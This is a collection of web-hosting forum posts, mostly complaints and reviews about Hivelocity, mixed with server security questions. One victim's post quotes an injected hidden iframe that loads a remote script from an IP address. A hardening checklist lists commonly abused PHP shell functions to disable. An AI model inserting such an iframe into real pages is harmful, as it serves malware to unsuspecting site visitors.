Hivelocity Warnings
Oct 15, 2009
If any of you are with or going with Hivelocity here are a few things we have encountered today:
We asked to cancel our Virtuozzo lisense at the end of this billing month which would be the 22nd, they then went ahead and cancelled it straight away meaning we had no backups for our VPS clients.
We then asked for them to install windows 2008 server onto our machine it took them from 12pm - 9pm to complete this.
After logging in to our billing system we find a new hard drive added to our server which one we did not ask for and two we do not need adding an extra $150 onto our server bill.
Overall today has been a real pain in the **** with them, yes I agree they are a fantastic host but the fact we have been billed for something we never asked for has completely annoyed me.
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Oct 5, 2007
I was testing the new RKHunter 1.3.0, and found a few warnings:
Code:
/usr/bin/GET [ Warning ]
/usr/bin/groups [ Warning ]
/usr/bin/ldd [ Warning ]
/usr/bin/whatis [ Warning ]
/sbin/ifdown [ Warning ]
/sbin/ifup [ Warning ]
Investigating the logs found this:
Code:
Warning: The command '/usr/bin/GET' has been replaced by a script: /usr/bin/GET: perl script text executable
Warning: The command '/usr/bin/groups' has been replaced by a script: /usr/bin/groups: Bourne shell script text executable
Warning: The command '/usr/bin/ldd' has been replaced by a script: /usr/bin/ldd: Bourne shell script text executable
Warning: The command '/usr/bin/whatis' has been replaced by a script: /usr/bin/whatis: Bourne shell script text executable
Warning: The command '/sbin/ifdown' has been replaced by a script: /sbin/ifdown: Bourne-Again shell script text executable
Warning: The command '/sbin/ifup' has been replaced by a script: /sbin/ifup: Bourne-Again shell script text executable
Same result in two different RHE 4 boxes... just to verify that this is a false positive , do you have the same results in your RHE 4 boxes while running "rkhunter -c" ?
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May 26, 2007
We were able to get the score up to 62/70. Will need the server management company's advice and help to try and get rid of more of the red warnings.
What is your score and which red warnings do you have left? Post them please.
Score: 62/70.
Will ask server management company about these red warnings:
A1. /dev/shm isn't mounted with the noexec,nosuid options (currently: none). You should consider adding a mountpoint into /etc/fstab for /dev/shm with those options
A2. You should install the mod_evasive apache module from source to help prevent DOS attacks against apache. Note that this module breaks FrontPage functionality
A3. You should modify /usr/local/lib/php.ini and set:
enable_dl = off
This prevents users from loading php modules that affect everyone on the server. Note that if use dynamic libraries, such as ioncube, you will have to load them directly in php.ini
A4. On most servers anacron isn't needed and should be stopped:
service anacron stop
chkconfig anacron off
chkconfig --del anacron
Probably going to leave these red warnings for now:
B1. For ultimate SSH security, you might want to consider disabling PasswordAuthentication and only allow access using PubkeyAuthentication. For more information read this article and this article
B2. You should modify /usr/local/lib/php.ini and disable commonly abused php functions, e.g.:
disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open
Some client web scripts may break with some of these functions disabled, so you may have to remove them from this list
B3. To reduce the risk of hackers accessing all sites on the server from a compromised PHP web script, you should enable phpsuexec when you build apache/php. Note that there are sideeffects when enabling phpsuexec on a server and you should be aware of these before enabling it
B4. You have package updating disabled, this can pose a security risk as OS vendor and cPanel security updates may not be applied in a timely manner WHM > Update Config >cPanel Package Updates > Automatic
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Aug 25, 2007
I have a major problem with injecting iframes into every files (header.php footer.php index.php login.php and vars.php ) on all server account.
Code:
<iframe src='h t t p : / / 8 1 . 9 5 . 1 4 5 . 2 4 0 / g o . p h p ? s i d = 1' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>
what is the reason and how to fix that ?
and I have the second problem is the rkhunter warnings I am not sure if that have relations with the first problem :
rkhunter results:
Code:
Checking system commands...
Performing 'strings' command checks
Checking 'strings' command [ OK ]
Performing 'shared libraries' checks
Checking for preloading variables [ None found ]
Checking for preload file [ Not found ]
Checking LD_LIBRARY_PATH variable [ Not found ]
Performing file properties checks
Checking for prerequisites [ Warning ]
/bin/awk [ OK ]
/bin/basename [ OK ]
/bin/bash [ OK ]
/bin/cat [ OK ]
/bin/chmod [ OK ]
/bin/chown [ OK ]
/bin/cp [ OK ]
/bin/csh [ OK ]
/bin/cut [ OK ]
/bin/date [ OK ]
/bin/df [ OK ]
/bin/dmesg [ OK ]
/bin/echo [ OK ]
/bin/ed [ OK ]
/bin/egrep [ OK ]
/bin/env [ OK ]
/bin/fgrep [ OK ]
/bin/grep [ OK ]
/bin/kill [ OK ]
/bin/login [ OK ]
/bin/ls [ OK ]
/bin/mail [ OK ]
/bin/mktemp [ OK ]
/bin/more [ OK ]
/bin/mount [ OK ]
/bin/mv [ OK ]
/bin/netstat [ OK ]
/bin/passwd [ OK ]
/bin/ps [ OK ]
/bin/pwd [ OK ]
/bin/rpm [ OK ]
/bin/sed [ OK ]
/bin/sh [ OK ]
/bin/sort [ OK ]
/bin/su [ OK ]
/bin/touch [ OK ]
/bin/uname [ OK ]
/bin/gawk [ OK ]
/bin/tcsh [ OK ]
/usr/bin/awk [ OK ]
/usr/bin/chattr [ OK ]
/usr/bin/curl [ OK ]
/usr/bin/cut [ OK ]
/usr/bin/diff [ OK ]
/usr/bin/dirname [ OK ]
/usr/bin/du [ OK ]
/usr/bin/env [ OK ]
/usr/bin/file [ OK ]
/usr/bin/find [ OK ]
/usr/bin/GET [ Warning ]
/usr/bin/groups [ Warning ]
/usr/bin/head [ OK ]
/usr/bin/id [ OK ]
/usr/bin/kill [ OK ]
/usr/bin/killall [ OK ]
/usr/bin/last [ OK ]
/usr/bin/lastlog [ OK ]
/usr/bin/ldd [ Warning ]
/usr/bin/less [ OK ]
/usr/bin/locate [ OK ]
/usr/bin/logger [ OK ]
/usr/bin/lsattr [ OK ]
/usr/bin/lynx [ OK ]
/usr/bin/md5sum [ OK ]
/usr/bin/newgrp [ OK ]
/usr/bin/passwd [ OK ]
/usr/bin/perl [ OK ]
/usr/bin/pstree [ OK ]
/usr/bin/readlink [ OK ]
/usr/bin/runcon [ OK ]
/usr/bin/sha1sum [ OK ]
/usr/bin/size [ OK ]
/usr/bin/slocate [ OK ]
/usr/bin/stat [ OK ]
/usr/bin/strace [ OK ]
/usr/bin/strings [ OK ]
/usr/bin/sudo [ OK ]
/usr/bin/tail [ OK ]
/usr/bin/test [ OK ]
/usr/bin/top [ OK ]
/usr/bin/tr [ OK ]
/usr/bin/uniq [ OK ]
/usr/bin/users [ OK ]
/usr/bin/vmstat [ OK ]
/usr/bin/w [ OK ]
/usr/bin/watch [ OK ]
/usr/bin/wc [ OK ]
/usr/bin/wget [ OK ]
/usr/bin/whatis [ Warning ]
/usr/bin/whereis [ OK ]
/usr/bin/which [ OK ]
/usr/bin/who [ OK ]
/usr/bin/whoami [ OK ]
/usr/bin/gawk [ OK ]
/sbin/chkconfig [ OK ]
/sbin/depmod [ OK ]
/sbin/ifconfig [ OK ]
/sbin/ifdown [ Warning ]
/sbin/ifup [ Warning ]
/sbin/init [ OK ]
/sbin/insmod [ OK ]
/sbin/ip [ OK ]
/sbin/lsmod [ OK ]
/sbin/modinfo [ OK ]
/sbin/modprobe [ OK ]
/sbin/nologin [ OK ]
/sbin/rmmod [ OK ]
/sbin/runlevel [ OK ]
/sbin/sulogin [ OK ]
/sbin/sysctl [ OK ]
/sbin/syslogd [ OK ]
/usr/sbin/adduser [ OK ]
/usr/sbin/chroot [ OK ]
/usr/sbin/groupadd [ OK ]
/usr/sbin/groupdel [ OK ]
/usr/sbin/groupmod [ OK ]
/usr/sbin/grpck [ OK ]
/usr/sbin/kudzu [ OK ]
/usr/sbin/lsof [ OK ]
/usr/sbin/prelink [ OK ]
/usr/sbin/pwck [ OK ]
/usr/sbin/tcpd [ OK ]
/usr/sbin/useradd [ OK ]
/usr/sbin/userdel [ OK ]
/usr/sbin/usermod [ OK ]
/usr/sbin/vipw [ OK ]
/usr/sbin/xinetd [ OK ]
/usr/local/bin/perl [ OK ]
/usr/local/bin/rkhunter [ OK ]
Checking for rootkits...
Performing check of known rootkit files and directories
55808 Trojan - Variant A [ Not found ]
ADM Worm [ Not found ]
AjaKit Rootkit [ Not found ]
aPa Kit [ Not found ]
Apache Worm [ Not found ]
Ambient (ark) Rootkit [ Not found ]
Balaur Rootkit [ Not found ]
BeastKit Rootkit [ Not found ]
beX2 Rootkit [ Not found ]
BOBKit Rootkit [ Not found ]
CiNIK Worm (Slapper.B variant) [ Not found ]
Danny-Boy's Abuse Kit [ Not found ]
Devil RootKit [ Not found ]
Dica-Kit Rootkit [ Not found ]
Dreams Rootkit [ Not found ]
Duarawkz Rootkit [ Not found ]
Enye LKM [ Not found ]
Flea Linux Rootkit [ Not found ]
FreeBSD Rootkit [ Not found ]
****`it Rootkit [ Not found ]
GasKit Rootkit [ Not found ]
Heroin LKM [ Not found ]
HjC Kit [ Not found ]
ignoKit Rootkit [ Not found ]
ImperalsS-FBRK Rootkit [ Not found ]
Irix Rootkit [ Not found ]
Kitko Rootkit [ Not found ]
Knark Rootkit [ Not found ]
Li0n Worm [ Not found ]
Lockit / LJK2 Rootkit [ Not found ]
Mood-NT Rootkit [ Not found ]
MRK Rootkit [ Not found ]
Ni0 Rootkit [ Not found ]
Ohhara Rootkit [ Not found ]
Optic Kit (Tux) Worm [ Not found ]
Oz Rootkit [ Not found ]
Phalanx Rootkit [ Not found ]
Phalanx Rootkit (strings) [ Not found ]
Portacelo Rootkit [ Not found ]
R3dstorm Toolkit [ Not found ]
RH-Sharpe's Rootkit [ Not found ]
RSHA's Rootkit [ Not found ]
Scalper Worm [ Not found ]
Sebek LKM [ Not found ]
Shutdown Rootkit [ Not found ]
SHV4 Rootkit [ Not found ]
SHV5 Rootkit [ Not found ]
Sin Rootkit [ Not found ]
Slapper Worm [ Not found ]
Sneakin Rootkit [ Not found ]
Suckit Rootkit [ Not found ]
SunOS Rootkit [ Not found ]
SunOS / NSDAP Rootkit [ Not found ]
Superkit Rootkit [ Not found ]
TBD (Telnet BackDoor) [ Not found ]
TeLeKiT Rootkit [ Not found ]
T0rn Rootkit [ Not found ]
Trojanit Kit [ Not found ]
Tuxtendo Rootkit [ Not found ]
URK Rootkit [ Not found ]
VcKit Rootkit [ Not found ]
Volc Rootkit [ Not found ]
X-Org SunOS Rootkit [ Not found ]
zaRwT.KiT Rootkit [ Not found ]
Performing additional rootkit checks
Suckit Rookit additional checks [ OK ]
Checking for possible rootkit files and directories [ None found ]
Checking for possible rootkit strings [ None found ]
Performing malware checks
Checking running processes for suspicious files [ None found ]
Checking for login backdoors [ None found ]
Checking for suspicious directories [ None found ]
Checking for sniffer log files [ None found ]
Performing trojan specific checks
Checking for enabled xinetd services [ None found ]
Checking for Apache backdoor [ Not found ]
Performing Linux specific checks
Checking kernel module commands [ OK ]
Checking kernel module names [ OK ]
Checking the network...
Performing check for backdoor ports
Checking for UDP port 2001 [ Not found ]
Checking for TCP port 2006 [ Not found ]
Checking for TCP port 2128 [ Not found ]
Checking for TCP port 14856 [ Not found ]
Checking for TCP port 47107 [ Not found ]
Checking for TCP port 60922 [ Not found ]
Performing checks on the network interfaces
Checking for promiscuous interfaces [ None found ]
Checking the local host...
Performing system boot checks
Checking for local host name [ Found ]
Checking for local startup files [ Found ]
Checking local startup files for malware [ None found ]
Checking system startup files for malware [ None found ]
Performing group and account checks
Checking for passwd file [ Found ]
Checking for root equivalent (UID 0) accounts [ None found ]
Checking for passwordless accounts [ None found ]
Checking for passwd file changes [ None found ]
Checking for group file changes [ None found ]
Checking root account shell history files [ OK ]
Performing system configuration file checks
Checking for SSH configuration file [ Found ]
Checking if SSH root access is allowed [ Warning ]
Checking if SSH protocol v1 is allowed [ Warning ]
Checking for running syslog daemon [ Found ]
Checking for syslog configuration file [ Found ]
Checking if syslog remote logging is allowed [ Not allowed ]
Performing filesystem checks
Checking /dev for suspicious file types [ None found ]
Checking for hidden files and directories [ Warning ]
Checking application versions...
Checking version of Exim MTA [ OK ]
Checking version of GnuPG [ Warning ]
Checking version of Apache [ Skipped ]
Checking version of Bind DNS [ OK ]
Checking version of OpenSSL [ Warning ]
Checking version of PHP [ OK ]
Checking version of Procmail MTA [ OK ]
Checking version of OpenSSH [ OK ]
System checks summary
=====================
File properties checks...
Required commands check failed
Files checked: 129
Suspect files: 6
Rootkit checks...
Rootkits checked : 114
Possible rootkits: 0
Applications checks...
Applications checked: 8
Suspect applications: 2
The system checks took: 3 minutes and 12 seconds
All results have been written to the logfile (/var/log/rkhunter.log)
One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter.log)
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Sep 21, 2013
So I've set everything up manually a few times before now, but I got so bored of configuring everything for a manual install I just said screw it and used XAMPP this time - so my circumstances are not completely ideal.
Basically what I am looking to find out is how to improve loading speeds for Apache, PHP and MySQL on my dedi server?
The server I have is of the following spec:
Intel Xeon CPU E5-1650 V2 (3.50Ghz with 12 cores total)
64 GB DDR3 ECC
2 x 2TB SATA3 (RAID 0/1)
use Windows Web 2008 R2 so only 32GB of the RAM is usable.
With all the abive aside, here is the important part: Whilst people are browsing the websites I have configured they are random hit with a blank white page saying "Your request has timed out. Please retry the request." - I have about 100 unique hits daily and a lot of people report the same problem, and I have even had it myself.
It feels as if the server has much more power than Apache and co. is trying to utilize - what can I do?
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Nov 19, 2014
Operating System: Windows Server 2008 R2 Std
Plesk: Parallels Plesk Panel 11.5
We have scheduled a server local backup via Backup Manager and found that backup has got completed with warnings.
We have checked logs from location : E:Program Files (x86)ParallelsPleskPMMsessions2014-11-18-144536.191psadump.log
8052: Warning 18/11/2014 18:18:55.028 : Exception ignored ( System.ComponentModel.Win32Exception: The system cannot find the file specified at psabackupcommon.FileUtils.DeleteFile(String fileName) at psadumpagent.ArchiveNode.doStdClose() )
8052: Debug 18/11/2014 18:18:55.028 : Add mail name 'abc@xxxx.com' directory 'F:Plesk PrivateTemp21282721-4181-4c0f-9520-c232f00b7668MailMigratorabc@xxxx.com to dump
[Code] .....
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Nov 19, 2014
I get these emails every day, sometimes less warnings, but today there are plenty again:
Subject: Cron <root@plesk01> /opt/psa/admin/bin/php -c '/opt/psa/admin/conf/php.ini' -dauto_prepend_file=sdk.php '/opt/psa/admin/plib/modules/servershield/scripts/aggregate-stats.php'
Code:
PHP Notice: Undefined property: stdClass::$response; File: /opt/psa/admin/plib/modules/servershield/scripts/aggregate-stats.php, Line: 21
PHP Notice: Trying to get property of non-object; File: /opt/psa/admin/plib/modules/servershield/scripts/aggregate-stats.php, Line: 21
[Code] .....
They started showing up when I upgraded to Plesk 12 and activated the server shield extension. The server is an Ubuntu 12.04 LTS.
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Apr 11, 2009
I am currently Hivelocity customer (also have servers with Softlayer).
I am wondering if Hivelocity ever plans to make portal options similar to Softlayer?
I am talking about automated os reinstall (better prices or free like SL does)
I am talking about Support ticket (Administration tickets which are 3 dollars at Softlayer).
I am talking about free kvm and stuff like that.
I am not asking this because i don't think that hivelocity is not good provider. I am with hivelocity for about 10 days now, and its been fine.
I must say that i am not very impressed with their customer portal page, ticketing page, server page, nor bandwidth graphs (where they had a problem with my account since the first day i signed up .. and problem is still there, 'they are working on it' which is fine ... i don't mind).
I must say that hivelocity gave me great deal on the server, thats why i ordered it with them.
I just hope that they will make some stuff hingssupport easier for their customers and make it less expensive to have our servers fixed, worked on.
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Nov 8, 2009
I couple of weeks ago I was in need for a dedicated server, for my file hosting site. Now I needed the site as asap, so I even took the weekend off work just so I can work on the server and make sure everything is up and running.
So I found hivelocity by searching through the net and it had pretty good prices so, before I bought the server from Hivelocity I specifically asked how long will it take to setup the server and they told me it would be 24 hours. So I went and bought the server from them believing I would have it by saturday evening. So the next day around the same time I checked whether my server was online but it wasnt, I contacted support and asked them whats going on. This is what really irritated me..
I spoke to the same guy i spoke to the day before when buying the server. I asked him when my server would be online and he said its gonna be another 6 hours. So I told him what he told me yesterday.. he said it would take 24 hours. He then claimed he doesn't remember saying how long it took when I could CLEARLY remember he did, I wouldn't of bought the server if I didnt ask. And then after arguing with him he went and checked his records and turned around and said yes 24 hours was an estimate. First of all, why on earth would you say you don't remember that conversation and then the next second change your words.. he never said 24 hours was a rough estimate.
So even after that I waited that 6 extra hours (so I would have been 6AM in the UK), I came woke up the next morning around 12PM (so its now been 12 hours) to find the server still wasn't online. I went back onto support and then they said I have to wait upto ANOTHER 16 hours!
Now if I knew i would have to wait this long I would have just canceled my order there and then but I was reluctant enough to wait thinking that it may come online within the next few hours. The server went online the next afternoon! (Monday afternoon) So instead of their 24 hours they told me it took almost 72 hours!
I didnt even login to the account to check whether the server was online or not.. i went straight to support and asked them to cancel my account and give me a refund. They had no problem canceling my account, but they never gave me a refund saying its part of the T&C not to give refunds for dedicated servers.
So let me sum this up... I was told I would get a server within 24 hours which i didn't... i was lied to.. i took 2 days off of work...and then paid $165 for A SERVER WHICH I NEVER USED!
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Oct 17, 2009
Does Hivelocity have a UK data center for their dedicated servers ? If they don't, where exactly in the USA is their data center located?
Anyway, I was just at Hivelocity's new Cloud server site www.thecloudiscoming.com and it says it is being launched on 10/15/2009 but they only have a "beta signup" option. Anyone know when the full service will be operational and the pricing?
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Jun 23, 2008
I placed an order with Hivelocity to find out two days later that they want some extra signed paperwork (paypal authorisation form + copy of id). They never disclosed any of this during the signup process or discussions with their sales staff which is making me hesitant to use a provider that pulls strange tricks like old managed.com.
Any way do you have any suggestions where I can get a rapid deploy of FreeBSD 7.0 that is not Layered Technologies, Sagonet, Managed.com or Hivelocity?
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Jan 18, 2007
i had a bad start with them, but now I got my server up 24/7 for 18 days straight now. They charge well for a 300 gb per month and 100 mbps of bandwdith. Their support is really quick too. The bad problem was my server crash every 2 time per week and I told the support if they can help me with that problem but they said they will charge 68 dollars per hr which is really bad. So i had to fix that problem, i don't know if i did or not. But over all, Hivelocity.com is great provider so far.
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Jan 26, 2007
Level 3 is down and now my server is down. My server was running OBLY for 13 days straight and i had been with them for 6-7 months and i only have my server up straight for 13 days out of 7 months with them! for the last 7 months, my server shutting down everytime for 7 months and i tryed to setup my server somehow to stay up for 13 days(idk if that was me) but now the server is down.
also, level 3 been down for 1 and a half week. I might quit everything cause this is causing a lot of problem for me and i'm stoping my bussiness for ever. I hate this ****.
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Jul 10, 2007
I was talking to a sales prospect yesterday who is currently paying Hivelocity $550/month for 50mb/s of bandwidth .. I have two questions:
1. What's hivelocity's quality/latency like
2. How can Hivelocity be profitable at that rate?
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Dec 7, 2008
HiVelocity VS. SoftLayer
Which one is better overall?
Uptime, support, pricing, etc.
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Apr 26, 2009
I am very disappointed with business practices at Hivelocity. I rent a budget server from them and always pay on time.
Last week I received a reminder claiming an unpaid invoice and was threatened twice my service would be terminated if I would not pay. I checked my debits and all hosting invoices were paid.
I noticed they have sent me another invoice for a remote reboot feature for 3$. I have never ordered such feature and I am very surprised they dare to invoice me for a service I never ordered.
Unless this was an error, I find this very shady to be invoiced for items I never ordered - Yet, to be threatened disconnection of paid services. Neither an explanation why i was invoiced for unwanted items nor an apology was offered. They said I could cancel the service ... but why would I need to cancel an order I never made?
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Apr 20, 2009
This is 4th day i am having network issue on HiVeloCity.
Does anyone else here experiencing the same problem, or its only rack where my server is located?
I am unable to use my server for almost 4 days as i already said, and they still have no solution for me.
Every time i open up a live chat with support, they tell me that they are checking, working on it, having someone see it, etc. but problem is still there.
What should i do?
I am going to post pings from SoftLayer and my home to their main ip (their websites' IP where i see pocket loss as well)
... because of this my websites are opening so slow, and many ppl are complaining about this.
Since there is many experts on this forum i would like advise from you guys.
I would like to stay with HVC if they can fix this, if not looks like i will have to look for another provider.
Softlayer:
PING hivelocity.net (69.46.24.178) 56(84) bytes of data.
64 bytes from hivelocity.net (69.46.24.178): icmp_seq=0 ttl=119 time=30.4 ms
64 bytes from hivelocity.net (69.46.24.178): icmp_seq=1 ttl=119 time=30.0 ms
64 bytes from hivelocity.net (69.46.24.178): icmp_seq=2 ttl=119 time=29.9 ms ...
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Apr 28, 2009
I am trying to purchase a server and HiVelocity gave me a really good quote. But their speed test did not turn out really good.
Anyone can share their views on their network and speed?
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Oct 25, 2009
It would appear that Hivelocity's networks were incredibly, or portions of them were, from 430 am CST to around 630 AM this morning, and once again, god only knows how long it'll be down this time. 1m files were taking upwards of 1 minute to download and traceroutes 45+ seconds to complete, when one can get in the server that is. Anyone else noticing this? Here's a few traceroutes from inside the network (again, when I can actually get in). Quite latent ...
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Apr 26, 2009
What are your overall comparisons -- HiVelocity vs. Softlayer.
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Apr 3, 2009
Any1 else having Network problems with HVC?
My server is not reachable.
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Dec 2, 2008
pc-core.net vs hivelocity.net
What is the best pc-core.net
Or hivelocity.net?
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Jul 12, 2008
I have 3 servers with hivelocity, moved from LT. There where some problems at the setup, no problem, everyone has some problems, we got over them.
Everything was great until this morning.... I check my outlook I see a abuse mail from yahoo for a domain hosted on my shared hosting server(this was at 2:15 AM). Ok, I want to delete it but HOW (this was at 9AM)? The server is down ....
Sent a reboot tiket to highvelocity, after ~20 minutes a guy responses that the server was rebooted and tell him if I have problems later. I try the server... still down, the guy didn't even ping the server to see if it's online after the reboot.
Ok... I reply to the tiket, the server still down, please see what's the problem, I get a response from them to send the server info (user pass) so he can check. Ok, I send the info, I wait... I wait, after 20 minutes I check the tiket.... what tiket ? The tiket was deleted...
I open a new tiket and explain the problem and after ~1.5 hours I get a reply that my server was nulled due to abuse.
Every company that I worked with sent a notice and gived me 24 h to take action... ok, I get over the shok and I tell them to connect my server back so I can delete that account. Of course it would have been to easy to do that, he asked me another ip from the server so he can unull that ip. Ok, after another hour the secondary ip is unulled and I delete the account from the abuse mail and I reply to the tiket.
He replyes that they will verify asap and reconnect my server. 1 hour passed and no reply and the server still down. I open a live chat, tell him my problem after witch he sayd he told tech and they will activate my server asap.
One more hour passed and still nothing. Again open a live chat, same guy, and I ask for a logical explanation why is this taking so long but he just kept telling me that the tech support is "looking into it".
And just to make me even madder every chat session is starting with : "Hello, welcome to HiVelocity's Impressive Support TM. How may I assist you today?"
Now it's 11 hours after the server disconnection and the server is still down just becouse a abuse department guy didn't send me a notification to delete the abusing account.
Hope Steve or any Tech supervisor will see this and take some action. It's not normal to take 2 hours+ to unull an ip adress.
Oh, one more thing. After not geting any logical response from the online chat guy I asked for a email address from a tech superior so I can send a complaint but he just refused to give me one, telling me to post a reply to the support tiket.
I'm asking you WHT users... is this situation normal for a big company like hivelocity ?
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Nov 6, 2008
what do you think of pc-core? are they good?
I heard few good things about hivelocity...
I'm standing between 2 deals and dont know which one to take
PC-CORE
PENTIUM-D 820 DUAL-CORE 2.8GHZ 800FSB
2GB DDR RAM
250GB SATA
2000GB BW/MONTH
5 IP Adresses
PRICE: 69.95/m with NO SETUP FEES
and 50% off first month
hivelocity
1x Pentium 2.8 2GB 160 GB--- $75
Look like the pc-core deal is better hardware because of dual core and sata drives
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Mar 17, 2008
Just about to pull the trigger with Hivelocity for a dedicated FreeBSD server. Anyone out there with any experience with them?
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Aug 14, 2008
I am a webmaster in Hawaii and recently had a massive server upgrade. This was a hugely complicated process, and my host, HIVELOCITY.NET seriously came through for me.
Without any BS extra billing or attitude, they spent 30 days, patiently dealing with my frustrated emails, and ignorance. After 3 years of insanely positive support, they just kicked it over the edge and proved to me that they are the only host I need indefinitely. I have adult and non-adult sites and have required very intensive support.
HIVELOCITY has never tried to tell me "thats not within the scope of our support" like so many other hosts have. (EV1) They always resolve my problems without telling me " I need to learn shell better" or "you need to consider a managed hosting plan or a sys admin" I've heard this from so many BS hosts, it has driven me mad. So I thought i would help everyone looking for a reliable server and post here about my positive experience.
If you want a server thats run by people who care about your business, and show it, try HIVELOCITY.NET
MAUIWEBMASTERS.COM
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Apr 6, 2009
I'd been with hivelocity for 14 months by now and i'm thinking to continue my bussines on there.
I created a thread on the past, this is the thread:
[url]
And this is what i said:
Quote:
What can i say?
They just Rock, Dave and steve are just great.
Dave is my account manager he is helpfull, quickly and very efficient.
i would like to recommend people to join in hivelocity.
They are just more than fine, my server is working great and i had 2 issues resolved.
1 issue in less than 20 mins (another server in the rack was consuming a lot of bandwith)
the other issue was a little more complicated but it has been resolved too, thanks Dave
They have the same problem with support than sharktech (not managed), but if you talk to your account manager or Steve they will take care of it and get the problem resolved in a few minuts, that's just cool.
Service and support for me was really good in one week with they .. i will stay for a long time here if everything goes right.
and if we can, stablish a long term business based on trust (i'm a coder i can help)
Well from that moment to now i can say the following things:
No downtimes, only schedules (maintenence)
No support problems.
I upgraded my server to a quad2core and for 6 months payment, they gove me a second HDD!
I'm sending new customers to hivelocity right now, and trying to start reselling their servers.
¿why do i want to?
Because Steve and Dave, are responsable guys.
Because Network works fine.
Last server i bought for a customer: 1 day setup, no problems. I did a hardware check and it was OK, no HDD failures and TEMPERATURE was the right.
Because they understand if you have a problem.
Because support is there to help, even if you don't pay for "Managed services"
And i think that, they manage customers as well, that you can feel as a part of the company and not just another Argentinian customer.
So, watching the huge financial crisis, i want to give a good review about this company, and try to get more and new customers to they.
I would highly recommend to buy their services, this is not another company this is one of the best companies i ever knew.
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